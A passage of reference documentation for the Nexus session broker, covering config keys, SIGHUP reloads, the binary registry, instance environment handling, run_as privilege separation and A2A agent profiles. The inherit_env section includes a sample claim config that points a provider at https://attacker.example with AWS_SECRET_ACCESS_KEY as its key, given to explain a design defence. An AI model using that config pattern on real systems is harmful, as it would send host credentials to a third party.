session_report_grace | duration | 5s | How long POST /claim waits, after the instance has signalled ready, for its session-id report frame. The nexus.io.broker plugin sends the report immediately after ready, so this is a short grace window rather than a boot budget. Exceeding it is not an error: the claim still succeeds and still returns 200, just with the session_id key omitted from the response — the caller then has a usable lease it cannot later -recall, and the broker logs one WARN. Raise it only if instances are observed returning without a session id under load. Must be positive — a non-positive or unparseable value is a boot failure naming the key; 0 is not a supported way to skip the wait, because a fresh session whose id is never reported cannot be resumed. |
max_claim_body | int | 1048576 (1 MiB) | Ceiling, in bytes, on the POST /claim request body. A body past it is refused with HTTP 400 {"error":"invalid claim body"} and nothing is spawned. It is sized to the config an operator ships, not to a protocol constant: a claim carries the whole nexus config inline (see POST /claim), so a deployment with a long skills: block, many MCP servers or an inlined system prompt can outgrow a megabyte. Must be positive — a non-positive or unparseable value is a boot failure naming the key; 0 would reject every claim. The A2A ingress’s own body cap is a fixed 1 MiB and is not this key: a JSON-RPC envelope carries a message, not a config, so it has no reason to grow with one. |
state_dir | string | (empty) | Per-broker directory holding this broker’s lease journal (leases.jsonl), its session → binary index (session-binaries.jsonl), its A2A context → session index (a2a-contexts.jsonl) and A2A task store (a2a-tasks.jsonl, both written only when agents: is configured), its spawn-secret derivation key (spawn-key, mode 0600) and, when broker_id is unset, its generated identity (broker-id). Funneled through ExpandPath (supports ~). Empty (the default) disables lease persistence entirely: nothing is written, no directory is created, spawn secrets stay random per spawn, restart recovery does not run, neither the session → binary index nor the A2A context index exists (an A2A conversation is then resumable only for as long as this process lives), the A2A task store is memory-only (GetTask/ListTasks/SubscribeToTask still answer, but only for tasks this process ran — see A2A task retention), and the broker behaves exactly as it did before this key existed — it logs one WARN at startup saying lease state is in-memory only. Must not be shared between brokers: two brokers pointed at one directory would append to the same journal and compact each other’s live leases away. Created on demand (mode 0700); a state_dir that is set but unusable fails startup. See Lease durability, A2A context → session index and Restart recovery below. |
broker_id | string | (empty) | The identity stamped on every persisted lease record, alongside advertise_addr, so a future shared store can tell whose lease is whose. Must be stable across restarts of the same broker. Empty (the default) means the broker generates one on first boot and persists it at <state_dir>/broker-id, reusing it thereafter — stable and unique with no operator effort. Set it explicitly to give a broker a name that means something in a cluster (broker-eu-1). Irrelevant while state_dir is unset, since nothing is then recorded. |
reattach_window | duration | 60s | How long a lease restored from the journal after a restart may wait for its instance to reconnect before the broker reaps it (kills the process, frees the slot, closes the record out through the shared POST /release teardown). Only restored leases are subject to it; an ordinary claimed lease is never touched. A restored lease that reattaches inside the window becomes a fully ordinary lease — idle sweeping, crash watching, ownership checks and POST /release all apply to it unchanged. A non-positive value falls back to the 60s default rather than disabling the reaper: “wait forever” would leave a capacity slot held by an instance that is never coming back, which is the orphan restart recovery exists to remove. Irrelevant while state_dir is unset, since nothing is then restored. See Restart recovery below. |
auth | map | (absent) | Client authentication for the control-plane routes. It does not govern the instance dial-back on WS /instance, which always requires the per-spawn secret. Absent means authentication is disabled and every route behaves exactly as it did before the key existed; the broker logs one WARN at startup saying so. A malformed block is a boot failure naming the offending key — it never falls back to disabled. See Authentication below. |
a2a | map | (absent) | Settings shared by every agents: profile. Today it holds one sub-block, a2a.tasks, which bounds the durable A2A task store. It is separate from agents: because nothing in it is per profile: the store is one file, with one retention policy, for the whole broker. Absent means every default below applies. See A2A task retention. |
a2a.tasks.ttl | duration | 24h | How long a terminal task stays readable after its last transition. "0s" keeps every task until a cap evicts it. Must be a duration string ("24h", "90m") — a bare number fails the boot rather than being read as nanoseconds. A negative value is a boot failure naming the key. See A2A task retention. |
a2a.tasks.max_per_context | int | 50 | How many tasks are kept per (caller, contextId) pair. 0 disables the cap. The cap is per caller as well as per context so one principal’s traffic cannot evict another’s — an eviction channel is still a channel. Only terminal tasks are evictable; a live task counts against the cap but is never dropped. A negative value is a boot failure. See A2A task retention. |
a2a.tasks.input_timeout | duration | 15m | How long a task may sit at TASK_STATE_INPUT_REQUIRED before the broker abandons it: the task is driven to TASK_STATE_FAILED and the instance is told to cancel the turn. "0s" disables the deadline. This is also the queue deadlock policy — a parked task holds its conversation’s serial queue and its leased instance, so without a deadline one unanswered question would strand every message behind it. Must be a duration string; a negative value is a boot failure. See Serial task queueing. |
agents | map | (absent) | The named A2A agent profiles this broker publishes, keyed by the name their routes are namespaced under. Each profile binds a Nexus config, a binaries: entry and an Agent Card, so a third-party A2A client can address an agent by URL instead of supplying the full nexus config POST /claim demands. Entry fields are listed under Agent profiles below. Absent (the default) means this broker has no A2A ingress at all — no routes are registered and nothing new appears in the boot log, so a broker.yaml written before profiles existed behaves exactly as it did. Validated at boot: an empty or non-URL-safe profile name, a name that collides with another after trimming, a missing config, a binary that is not in the registry, a card missing a required field, or a config file that does not resolve to a readable file fails startup. |
Reloadable keys (SIGHUP)
The broker re-reads its config file on SIGHUP and applies the reloadable
half of it in place, so adding a binaries: variant or publishing an agents:
profile no longer costs a restart — and a restart is the single event that costs
every lease whose instance fails to reattach within
reattach_window.
kill -HUP "$(pgrep -f nexus-broker)"
SIGHUP is the only trigger. There is deliberately no POST /reload:
admin_scope is a read-only capability (“visibility only — there is no admin
bypass on release or connect”), and a mutating admin route would be the first
exception to that.
A reload is validate-then-swap and atomic. The file goes through exactly the
boot loader, so a value that would have failed startup fails the reload; the
Agent Cards are re-rendered before anything is published; and only when every
step has succeeded is the new configuration swapped in, in one step. A reload
that fails at any point leaves the previous configuration entirely in force
and logs the reason — there is no half-applied state. Outcomes are logged as
config reload applied (naming the keys that changed) or
config reload rejected (naming the reason).
Live leases are never disturbed. A reload changes what the next claim can
spawn; it never signals, kills or re-binds a running instance. That includes
removing a binaries: entry a live lease was spawned from: the lease records the
entry name, the process is already running, and a later resume against a name
this broker no longer offers is refused with the existing 409.
| Key | Reloadable? | Notes |
|---|---|---|
binaries (and its folded inputs nexus_binary_path, run_as) | Yes | The next claim resolves its entry from the new registry. Paths are re-resolved, so a reload naming a missing or non-executable binary is refused exactly as a boot would be. |
inherit_env | Yes | Applies to the next spawn. |
agents | Yes, with one exception | Profiles may be added, changed or removed and the Agent Cards are re-rendered and swapped as a unit. The exception: a broker that booted with no agents: block registered no A2A routes and opened neither the context index nor the durable task store, so a reload cannot switch the ingress on — that change is reported and ignored. Removing the last profile is allowed; the routes then answer 404 unknown agent profile. |
max_concurrent | Yes | Raising it immediately admits claims already parked in the capacity queue. Lowering it never evicts a live lease: the broker sits over its cap and admits nothing new until it drains back under. |
idle_timeout, max_turn_duration | Yes | The sweeper re-reads both each pass, and re-derives its tick interval, so switching reaping on or off takes effect within one poll. |
queue_wait_timeout | Yes | Applies to the next claim; a claim already parked keeps the bound it parked under. |
release_grace | Yes | Applies to the next release, manual or swept. |
ready_timeout, session_report_grace, max_claim_body | Yes | Applies to the next claim. |
listen_addr | No | Changing it means a new listener, which is a restart. |
advertise_addr | No | Stamped into each lease record at registration; changing it live would make this process’s own records disagree. |
state_dir | No | The lease journal, spawn key and both indexes are already open against the old directory, and restart recovery has already run. |
broker_id | No | Already stamped on every record this broker has written; changing it live would orphan its own leases at the next boot. |
auth (including auth.admin_scope) | No | The jwks validator holds a live kid cache with rate-limited fetches, and two documented guarantees rest on it surviving: key rotation needs no restart, and an unreachable issuer never turns into an allow. Rebuilding the chain would discard that cache, so a reload performed during an IdP outage would turn a working broker into one that denies every JWT. |
reattach_window | No | Consumed once, at boot, by the restored-lease reaper. |
client_replay_buffer_bytes | No | Stamped on a lease’s stream when the lease is created. |
max_queue_depth, max_leases_per_principal, max_queued_per_principal | No | Admission state held by the registry rather than read per request. |
a2a.tasks.* | No | Sizes a durable store that is already open, on the same footing as state_dir. |
A boot-only key whose value changed in the reloaded file is reported in a
startup-style WARN naming every such key and is ignored — the value in
force is unchanged. The reloadable keys in the same document still apply: a
boot-only change is not a reason to refuse everything around it.
Values that stay constants
Not every number in the broker is a key. These are fixed on purpose, and the reason differs per value:
| Value | Fixed at | Why it is not a key |
|---|---|---|
| WebSocket ticket TTL | 30s | A ticket travels in a URL query parameter — a browser cannot set a header on a WebSocket handshake — so it lands in reverse-proxy access logs, browser history and referrer chains no matter what the broker does. Its tightness plus its single use are the mitigation for that exposure, so letting an operator widen it would let them silently remove the only thing that makes the design safe. A dropped socket is answered by POST /ticket/{lease_id} minting a fresh one, not by a longer window. |
SIGTERM → SIGKILL gap | 2s | Not the operator’s shutdown budget — release_grace is, and it has already elapsed by the time this window opens. This is only the interval between “we have now actually asked the OS” and “we stop asking”. |
| Instance drain grace | 2s | The window a teardown gives the broker’s own instance read pump to finish draining a dead instance’s socket before the connection is closed. It opens only after the process has been reaped, so the socket is already closed at the far end and the next read returns EOF — the wait is normally microseconds, and the bound exists purely for a half-open socket the OS never tore down. It is not a shutdown budget (release_grace is, and it does not apply to a crash), and an operator lengthening it could only delay a teardown, never recover more frames. Exceeding it logs a WARN naming the lease. |
| A2A request body cap | 1 MiB | A JSON-RPC envelope carries a message, not a config, so it has no reason to grow with an operator’s profiles the way max_claim_body does. |
| Lease-journal compaction interval, session→binary index cap | 512 appends, 4096 entries | Internal storage tuning with no operator-visible behaviour to trade off. |
Binary registry (binaries)
One broker can front several nexus builds — a base binary, a vision-enabled
build, a pinned older release — instead of the single spawn target
nexus_binary_path allowed. Each entry is keyed by the name a claim selects
it by; the key is the name, so an entry cannot disagree with itself.
binaries:
nexus: # reserved; declare it only to override the path
path: "/usr/local/bin/nexus"
vision:
path: "~/builds/nexus-vision" # ExpandPath applies here too
label: "Nexus (vision)"
description: "Multimodal build with the image tools compiled in"
args: ["-profile", "vision"]
env:
NEXUS_VISION: "1"
| Entry field | Type | Default | Description |
|---|---|---|---|
path | string | (required) | The executable the broker exec()s for this entry. Funneled through ExpandPath (supports ~). A value with no path separator (nexus, nexus-vision) is looked up on the broker process’s PATH; anything else is used as a location on disk, relative to the broker’s working directory if it is not absolute. Required — an empty or missing path fails startup naming the entry. It is deliberately not defaulted to the entry name, which would turn a typo into a silent PATH lookup for a binary the operator never meant to run. Resolved and verified at boot — see Binary resolution. |
label | string | (empty) | Short human-readable name for operator/client surfaces ("Nexus (vision)"). Purely presentational; nothing routes on it. Consumers fall back to the entry name when empty. |
description | string | (empty) | One-line explanation of what this variant is for, for the same surfaces as label. Purely presentational. |
args | list of string | (empty) | Extra argv entries for this variant, appended after the broker’s own spawn arguments so they can add to the command line but never displace the -config / -recall contract the instance protocol depends on. |
env | map string→string | (empty) | Extra environment variables for this variant, layered over what the spawn inherited from the broker (the always-pass set and inherit_env) and under the broker-owned NEXUS_BROKER_* variables. Those name the dial-back address, the lease and the spawn secret; the broker’s values always win, so an entry cannot point an instance at another broker, hand it the wrong lease, or supply its own spawn secret. This is where a value that is a property of the variant belongs; inherit_env is where a value that lives in the broker’s own environment belongs. |
run_as | map | (absent) | The OS credential this entry’s instances are exec()d under: uid and gid, both required whenever the block is written. Overrides the broker-level run_as outright — an entry that declares it does not merge with the default. Absent and with no broker-level default, instances run as the broker’s own user, which is what every spawn did before this key existed. When it is set, HOME follows the credential: the spawn’s HOME is the run_as user’s home directory from the passwd database, unless this entry’s env sets HOME itself. A uid whose home cannot be resolved and whose entry does not set env.HOME fails startup naming the entry. Supplementary groups are dropped (setgroups(0, NULL)), so the instance holds only the declared gid. See Running instances as another user. |
Selecting an entry. A claim picks one with the optional binary field of
its request body — see POST /claim. An unknown
name is rejected with HTTP 400 before the claim allocates anything.
Discovering the entries. Clients read the live registry from
GET /binaries, which returns name, label
and description per entry — never path, args or env.
The nexus name is reserved. After a successful load the registry always
contains it, so the base binary is spawnable from every broker no matter what
the config says. There is deliberately no default: true field: a claim
that names no binary always means nexus, so an operator cannot silently
change what an existing client ends up spawning.
Folding the deprecated nexus_binary_path. The two keys are resolved at
boot, from the same file, in exactly four cases:
nexus_binary_path | binaries.nexus | Result |
|---|---|---|
| absent | absent | nexus synthesized with path nexus — the historical zero-config default, unchanged. |
| set | absent | The value becomes the nexus entry’s path, and one WARN names binaries.nexus.path as the replacement. Every pre-registry deployment boots unchanged. |
| absent | set | Taken as written; nothing to fold. |
| set | set | Boot failure naming both keys. Picking a winner would mean half the operators hitting it silently spawn the binary they did not mean, and the mistake would only surface as instances behaving oddly. |
Instance environment (inherit_env)
A claimed instance is handed a config the caller wrote, and every Nexus
provider resolves its credential from an environment variable that config
names — api_key_env and its equivalents — while the same config chooses
base_url. So an environment variable that reaches an instance is not merely
visible to it, it is postable anywhere by whoever claimed the lease:
# a claim body's `config`, which the broker execs an instance against
core:
models:
default:
provider: openai
api_key_env: AWS_SECRET_ACCESS_KEY # any variable the process holds
base_url: https://attacker.example # where its value gets sent
An allowlist of known provider key names cannot bound that, because the caller
picks the name. The broker therefore builds a spawn’s environment from scratch
rather than inheriting its own, in this order (later wins, since exec resolves
a duplicated key to its last occurrence):
- The always-pass set —
HOME,LANG,PATH,TZ— taken from the broker’s environment regardless of configuration. These are not credentials and are not optional:HOMEis what resolves~/.nexus, so without it an instance cannot create a session directory and-recallhas nothing to resume;PATHis what makesexecand the shell tool work at all;TZandLANGdecide how the instance renders times and text. - Everything
inherit_envnames, taken from the broker’s environment. A name the broker does not hold is skipped rather than exported empty — an instance can tell “unset” from “set to the empty string”, and a provider handedapi_key_env=""fails less legibly than one that finds the variable absent. - The selected entry’s
envmap, applied in sorted key order. This is the per-variant declaration point, and it sets a value rather than forwarding one, so it can also override something step 1 or 2 contributed. - The three broker-owned variables —
NEXUS_BROKER_ADDR,NEXUS_BROKER_LEASE_ID,NEXUS_BROKER_SPAWN_SECRET. Last, always, so nothing an entry or the broker’s shell contributes can point an instance at a different broker, hand it another lease’s id, or supply its own spawn secret.
Steps 1–3 are emitted in sorted key order, so the environment a spawn is handed is byte-identical across restarts.
At boot the broker logs one line per registry entry naming exactly the variables that entry’s spawns will carry — names only, never values:
level=INFO msg="binary registry entry" name=vision path=/opt/builds/nexus-vision \
resolved_path=/opt/builds/nexus-vision \
spawn_env=ANTHROPIC_API_KEY,HOME,LANG,NEXUS_BROKER_ADDR,NEXUS_BROKER_LEASE_ID,NEXUS_BROKER_SPAWN_SECRET,NEXUS_VISION,PATH,TZ
Because the line reports what will be carried rather than what was declared,
a name that is missing from it was never in the broker’s own environment. Those
are also collected into one startup WARN:
level=WARN msg="inherit_env names variables this broker's own environment does not hold, ..." missing=ANTHROPIC_API_KEY
# broker.yaml — forward two provider keys the broker was started with
inherit_env:
- ANTHROPIC_API_KEY
- OPENAI_API_KEY
binaries:
vision:
path: /opt/builds/nexus-vision
env:
NEXUS_VISION: "1" # set outright, not forwarded
Use inherit_env when the value lives in the broker’s own environment (a secret
injected by systemd, Kubernetes or a secrets agent) and binaries.<name>.env
when the value is a property of the variant. A claim’s own config can of
course still carry a credential inline, in which case neither key is involved.
There is no wildcard. inherit_env: ["*"] is not supported and is not
planned: it would restore exactly the exfiltration primitive above, and because
the caller picks the variable name in its own config, “forward everything except
the risky ones” is not a line anybody can draw.
This is a breaking change for a broker that predates the key — a spawn used
to take os.Environ() wholesale, so an instance whose config expects to read
ANTHROPIC_API_KEY from the environment now fails to reach its provider on the
first turn unless the name is declared here or set in the entry’s env. The
migration is in
Upgrading an existing broker.
inherit_env is reloadable and applies to the next
spawn.
Running instances as another user (run_as)
Without run_as, every claimed instance runs as the broker’s own uid with
the broker’s HOME. The process boundary between two claims is then not a
privilege boundary: one tenant’s instance can read every other tenant’s session
directory under ~/.nexus/sessions/, and it can read <state_dir>/spawn-key —
which is enough to derive any live lease’s dial-back secret and impersonate its
instance. run_as is what turns a separate process into a separate principal.
# broker.yaml
run_as: # the default for every entry that declares none
uid: 1500
gid: 1500
binaries:
vision:
path: /opt/builds/nexus-vision
run_as: # replaces the default outright — not merged
uid: 1501
gid: 1501
support:
path: /opt/builds/nexus-support
run_as:
uid: 1502
gid: 1502
env:
HOME: /var/lib/nexus/support # operator-set data dir; wins over the passwd home
- Per entry over a broker default. The interesting separation is between
variants: a vision build and a support agent want to be apart from each
other, not merely from the host. An entry that writes
run_asreplaces the broker-level block wholesale — a uid taken from one place and a gid from another is a credential nobody wrote down. - Both fields are required whenever the block is written. A uid without a gid leaves instances in the broker’s primary group, so their session files stay reachable from it — a boundary that looks complete in the config and is not one on disk.
- Ids are numeric, not user names. Resolving a name needs the passwd database, which a hardened container may not carry, and a name that resolves differently on two hosts is a silent privilege change.
HOMEfollows the credential.HOMEis what resolves~/.nexus, so an instance dropped to another uid while still pointed at the broker’s home cannot create its session directory and every claim fails at the first write. The broker therefore resolves therun_asuser’s home from the passwd database at boot and gives the spawn thatHOME; an entry’senv.HOMEoverrides it and is the way to put instance state somewhere other than a home directory. A uid with no resolvable home and noenv.HOMEfails startup, naming the entry and the key that fixes it.- Sessions are consistent per registry entry. Two entries running under
different credentials keep their sessions in different trees. Resume stays
correct because a session already records the entry that created it and a
resume under a different entry is refused with 409 — see
Resume inherits the recorded binary —
so a session can never be replayed under an entry whose
HOMEwould not contain it. - Supplementary groups are dropped. The child calls
setgroups(0, NULL), so it holds only the declared gid; keeping the broker’s group memberships would leave the instance able to reach most of what the key exists to take away.
The broker must be privileged. Setting a child’s credentials — including
dropping supplementary groups — requires root, or CAP_SETUID and
CAP_SETGID on Linux. This is true even when the uid named is the broker’s
own. A broker configured with run_as that lacks the privilege logs one WARN
at boot:
level=WARN msg="run_as is configured but this broker does not run as root, ..." euid=501
and every claim that selects such an entry fails at spawn, immediately, with
HTTP 500 {"error":"spawning instance"} and a broker-side log line naming
the refused credential — not a claim that hangs until the ready timeout.
Each entry’s credential and resolved home appear in the boot log beside its path and spawn environment:
level=INFO msg="binary registry entry" name=vision path=/opt/builds/nexus-vision \
resolved_path=/opt/builds/nexus-vision spawn_env=… run_as=1501:1501 run_as_home=/home/nexus-vision
What run_as does not do. It separates instances by OS user, and that is
the whole of it. It does not sandbox the filesystem, restrict the network, or
bound CPU and memory — a claim still supplies the whole engine config, and the
shell and file tools still run with whatever that uid can reach. It does not
separate two instances of the same entry from each other: they share a
credential and a session tree. Nor does it protect an instance from the
claimant, who chose its config and drives its tools.
Leaving run_as unset is therefore a statement that every caller of this broker
may read every other caller’s sessions and its spawn-key. That is fine inside
one trust domain and is not fine between two — deploy one broker per trust
domain, or set run_as. See
Trust boundaries.
Binary resolution
Every registry entry — including the reserved nexus one, and including the
value folded in from a deprecated nexus_binary_path — is resolved and verified
once, at startup, before the gateway listens. The steps, in order:
- Expand.
~and~/…are expanded throughExpandPath, as everywhere else in Nexus. - Look up bare names on
PATH. Apathcontaining no path separator is resolved against the broker process’s ownPATH. This is what makes the zero-configpath: "nexus"work, and it is allowed for every entry, not just the reserved one. - Make absolute. The result is turned into an absolute path, so spawning is unaffected by the broker’s working directory.
- Stat and check. The path must exist, be a regular file (symlinks are followed), and carry at least one execute bit.
Any failure at any step refuses the boot, with an error naming the entry, the
path that was resolved, and the specific reason (no such file, is a directory, is not executable (mode …), not found on PATH). The resolved
absolute path is then held for the process lifetime, so a claim performs no
filesystem work and a PATH lookup cannot answer differently mid-flight.
At startup the broker logs one line per entry carrying both the configured
path and the resolved_path, so a surprising PATH answer — a stale build in
~/go/bin shadowing /usr/local/bin — is visible in the boot log rather than
inferred later from an instance behaving oddly.
Behaviour change. A broker whose registry names a missing, non-executable, or directory path now fails to start. That includes a zero-config broker with no
nexuson itsPATH, which previously started fine and only failed at the firstPOST /claim. The tradeoff is deliberate and one-sided: a broker restarted midway through a variant rollout, while a binary is momentarily absent, will not come up — but an operator learns about a typo or a missing build at deploy time instead of from a user’s failed claim.
Agent profiles (agents)
An agent profile is one public agent this broker fronts: a Nexus config to boot, a binary registry entry to boot it with, and the Agent Card that describes the result to the world. Each profile publishes its own A2A endpoints under its own path namespace.
Profiles exist because POST /claim cannot be
an A2A front door: a claim carries the full nexus config as inline YAML,
which no third-party A2A client can supply — it does not know Nexus exists, let
alone which plugins to activate. A profile moves that decision broker-side, so
the client names an agent by URL and the operator decided long ago what running
that agent means.
Rejected alternative: carrying the Nexus config through A2A
Message.metadata. That works only for Nexus-aware clients, which defeats the point of speaking a standard protocol.
agents:
support: # the name every route is namespaced under
binary: nexus # optional; omitted means the reserved `nexus` entry
config: "~/agents/support.yaml" # ExpandPath applies here too
card:
name: "Support Agent"
description: "Answers customer questions from the product knowledge base."
version: "1.2.0"
documentation_url: "https://acme.example/docs/support-agent"
icon_url: "https://acme.example/icons/support.png"
provider:
organization: "Acme"
url: "https://acme.example"
default_input_modes: ["text/plain"]
default_output_modes: ["text/plain"]
skills:
- id: "answer"
name: "Answer questions"
description: "Answers a customer question and cites its sources."
tags: ["support", "qa"]
examples: ["How do I rotate my API key?"]
research:
binary: vision # any entry of the binaries registry
config: "~/agents/research.yaml"
card:
name: "Research Agent"
description: "Reads documents and summarizes them."
version: "0.1.0"
skills:
- id: "summarize"
name: "Summarize"
description: "Summarizes a supplied document."
| Profile field | Type | Default | Description |
|---|---|---|---|
binary | string | nexus (reserved) | Which binaries: entry this profile spawns. Omitted means the reserved nexus entry, exactly as an omitted binary on POST /claim does — an omitted binary has one meaning in this broker, not two. An unknown name is a boot failure naming the alternatives, not a fallback to nexus: quietly spawning the base binary for an agent an operator bound to a vision build produces a session that merely behaves oddly, which is far harder to diagnose than a refusal. |
config | string | (required) | Path to the Nexus config file instances of this profile boot with. Funneled through ExpandPath (supports ~), resolved to an absolute path and stat()ed at boot: a path that does not exist, is a directory, or cannot be read fails startup naming the profile. Its contents are not parsed here — whether it is a valid Nexus config is the engine’s judgement, made by the instance that boots it. |
card | map | (required) | The hand-authored half of this profile’s Agent Card. Required: an A2A agent MUST publish a card, and the broker will not invent a name, description or skill list on an operator’s behalf. |
Profile names are URL path segments, so they are validated more strictly than
binary registry names: letters, digits, -, _ and . only, and not starting
with .. A name carrying a slash would silently restructure the route tree; one
carrying a space, colon or percent would round-trip differently through URL
encoding than through the card, so a client would dial a URL the broker never
registered. Names are compared with surrounding whitespace trimmed, so
"support ": and support: are a duplicate and fail the boot.
Agent Card (agents.<name>.card)
The keys are spelled exactly as nexus.io.a2a’s inline card:
block spells them, so a card authored for a standalone serving instance pastes
in unchanged.
| Card field | Type | Default | Description |
|---|---|---|---|
name | string | (required) | The agent’s public name. |
description | string | (required) | The agent’s public description. |
version | string | (required) | The agent’s version, not the protocol’s. |
documentation_url | string | (empty) | Human-readable documentation for this agent. |
icon_url | string | (empty) | Icon for client UIs. |
provider.organization | string | (required when provider is present) | The organization behind the agent. |
provider.url | string | (empty) | The provider’s public URL. |
default_input_modes | list of string | (empty) | Media types the agent accepts when a message does not say otherwise. |
default_output_modes | list of string | (empty) | Media types the agent produces when a message does not say otherwise. |
skills | list of object | (required, ≥1) | The public capability listing. |
skills[].id | string | (required) | Stable skill identifier. |
skills[].name | string | (required) | Human-readable skill name. |
skills[].description | string | (required) | What the skill does. |
skills[].tags | list of string | (empty) | Free-form tags for discovery. |
skills[].examples | list of string | (empty) | Example prompts for this skill. |
skills[].input_modes | list of string | (empty) | Per-skill override of default_input_modes. |
skills[].output_modes | list of string | (empty) | Per-skill override of default_output_modes. |
There are deliberately no keys for supportedInterfaces, capabilities,
securitySchemes or securityRequirements. They are derived from what the
broker actually serves and overwrite anything a card source carried:
supportedInterfaces— the profile’s own JSON-RPC and HTTP+JSON URLs, absolute, built from the origin below. JSON-RPC leads, because the list is ordered by preference and it has the widest client support today.tenantis left unset: profiles do not share an endpoint URL, so the path segment already routes, and a second routing signal would have to be reconciled with it.capabilities—streaming,pushNotificationsandextendedAgentCardall follow the set of operations the ingress actually implements.streamingistrue(SendStreamingMessageis dispatched and the ingress starts a real instance to stream a turn from);pushNotificationsandextendedAgentCardarefalse(see A2A routes).securitySchemes/securityRequirements— derived from the broker’sauth:chain, one scheme and one requirement per validator, named with nexusauth’s chain-order names (static,jwks,jwks#2). Separate requirement entries are the accurate translation of a first-success chain: satisfying any validator suffices. Aproxy_headersvalidator is deliberately not advertised — it accepts no client credential, so publishing a scheme would tell clients to send a header guaranteed to be ignored. With noauth:block both fields are omitted entirely.
The card’s origin comes from advertise_addr. A card must carry absolute
URLs, and advertise_addr is already the key that answers “where do clients
reach this broker” (ws:// → http://, wss:// → https://). With
advertise_addr unset the origin falls back to listen_addr, but only when it
names a dialable host: a wildcard bind (:8080, 0.0.0.0:8080) with profiles
configured fails startup naming advertise_addr, because a card advertising
http://:8080/agents/support/a2a would be a confidently wrong answer handed to
every client that fetches it.
A2A routes (HTTP API, not YAML)
Each profile publishes three routes, namespaced under its own name so profiles
cannot collide and nothing can shadow an existing broker route (none of which
starts with /agents/):
| Route | Purpose |
|---|---|
GET/HEAD /agents/<profile>/.well-known/agent-card.json | The profile’s Agent Card. Served with ETag and Cache-Control: public, max-age=300; a conditional request with If-None-Match answers 304. |
POST /agents/<profile>/a2a | The JSON-RPC 2.0 binding. |
/agents/<profile>/a2a/v1/... | The HTTP+JSON (REST) binding, including A2A’s custom verbs (/tasks/{id}:cancel). |
The card is published per profile rather than at the origin’s well-known URI because specification §8.2 scopes that URI to an origin, which can name exactly one agent. A broker fronts several, so each card lives under its profile and advertises its own absolute URLs; a client handed a profile’s card URL — §8.2’s “Direct Configuration” — needs nothing else.
Every A2A route is behind the broker’s auth: guard,
the card included. A refusal is the broker’s standard envelope
({"error":"authentication required"}, 401/403/503 with the usual
WWW-Authenticate challenge) — the same middleware, and the same answer, that
POST /claim gives. This differs from nexus.io.a2a, which
serves its card unauthenticated: that plugin binds loopback by default, whereas
the broker is an ingress whose standing policy is that even GET /binaries
requires a credential. Clients are given a credential out-of-band before they
fetch the card, which §8.2 explicitly sanctions. A broker with no auth: block
serves the card to everyone, exactly as it serves every other route.
SendMessage, SendStreamingMessage and CancelTask are dispatched. A
client’s message becomes the input payload a leased instance’s
nexus.io.broker plugin turns into io.input, and everything
the instance sends back is translated into A2A frames — see
the session broker guide
for the payload-by-payload mapping.
GetTask, ListTasks and SubscribeToTask are dispatched too, served from
the broker’s durable task store rather than from
memory — which is why they can be answered at all after the instance that ran a
task has been released or the broker has restarted, precisely when a client asks.
Every one of them is scoped to the authenticated principal and to the profile
it was addressed to: a task belonging to another caller — or to another profile
— is byte-for-byte the same refusal as one that never existed
(TaskNotFoundError), because a distinct “exists but is not yours” answer is an
existence oracle for ids the caller was never told. The profile is part of the
key for the same reason it is part of a conversation’s: two profiles are two
different public agents with two different configs, so ListTasks on one must
not list the other’s conversations. ListTasks supports
contextId, status and statusTimestampAfter filters, historyLength,
includeArtifacts (default false) and keyset pagination via pageSize /
pageToken; a pageToken this broker did not mint is an InvalidParamsError
rather than a silent restart from the top.
capabilities.streaming on every profile card is true as a result, because it
is derived from this operation set rather than configured — both
SendStreamingMessage and SubscribeToTask are dispatched.
The push notification operations and GetExtendedAgentCard are still
refused, with UnsupportedOperationError (JSON-RPC code -32004 with HTTP
200; REST 400 with a FAILED_PRECONDITION google.rpc.Status body) carrying
detail: OPERATION_NOT_IMPLEMENTED to say “not yet” rather than “never”. Both
matching card capabilities are false.
The routes authenticate, decode and validate whatever the operation: a malformed JSON-RPC envelope is still told it is malformed. A path naming no configured profile is a 404 in the binding’s own error shape, never a fallback to some default agent.
A message starts, reuses or resumes an instance, and the client is told none of it — see Conversation lifecycle below for the four cases, the failure states and the response latency each one implies.
A broker built without an instance provider answers InternalError carrying
detail: INSTANCE_PROVIDER_NOT_WIRED, and logs a warning at boot naming the
missing piece. That is not a state a shipped nexus-broker binary can be in —
run() always installs the lifecycle when agents: is configured — but the
refusal exists so an embedder that assembles the ingress itself gets a specific,
actionable answer rather than a nil-pointer panic.
Conversation lifecycle (contextId)
An A2A client holds a contextId and nothing else. The broker holds leases.
The client never learns the second thing exists, because the ingress owns the
whole mapping between them:
contextId ──(durable index)──▶ engine session id ──(the /claim spawn spine)──▶ lease
The middle term is what makes it work. A lease is mortal — it is released when a conversation goes quiet and it dies when its instance crashes — but an engine session is a directory on disk that outlives every process that opened it. A message on a context whose instance is gone is therefore not an error to report; it is a session to resume.
What the broker knows about the contextId | What a message does |
|---|---|
Nothing (new conversation, or no contextId at all — one is minted) | Spawns an instance with no -recall, waits for dial-back and ready, then runs the turn. |
| A live instance | Routes the turn to it. History is whatever the running engine holds — nothing is replayed. |
| A live lease already running the context’s session, that this process lost track of (a restart with a surviving instance) | Adopts it rather than spawning a second engine over one session directory. |
| A session with no live lease (idle-released, crashed, or a restart) | Spawns a new instance with -recall <session id> so the engine replays the history. The client is not told the instance ever stopped. |
Continuity is keyed by (principal, profile, contextId), not by contextId
alone. A2A lets a client choose its own contextId, so keying on it alone
would let any caller name another caller’s conversation and be handed that
session’s history. A colliding contextId under a different principal — or a
different profile — resolves to the caller’s own binding instead: no leak, no
oracle, and no overwrite of the real owner’s entry. With no auth: block every
caller is the same anonymous principal, exactly as lease ownership already
behaves.
The binding is durable but not permanent. It lives in
<state_dir>/a2a-contexts.jsonl,
which is capped at 4096 bindings with the oldest dropped first. A conversation
whose binding was evicted — or any conversation at all, on a broker with no
state_dir, once the process restarts — reads back as unknown, so the next
message on it starts a fresh session and nothing tells the client its history
was left behind.
The instance is NOT released at the end of a turn. It is an ordinary lease
from the moment it is created: it appears in GET /leases, it is owned by the
A2A caller, it counts against max_concurrent, POST /release tears it down,
the crash watcher covers it, and idle_timeout reaps it when the
conversation goes quiet. Every A2A message the broker sends to it resets the idle
timer, exactly as a WebSocket client’s input does. Releasing per turn was
rejected: it would make every message a cold boot.
A spawn that does not produce an instance settles the task, never hangs. The failure is answered as a terminal A2A task state rather than as a protocol error, because a client that asked an agent a question deserves an answer in the vocabulary it already speaks:
| Condition | Task state | Why |
|---|---|---|
The profile’s binary is not in the registry; the context’s session was created by a different binary; the profile’s config file cannot be read or is empty | TASK_STATE_REJECTED | The broker refused the request. Nothing was attempted, and the same message will fail the same way until an operator changes something. |
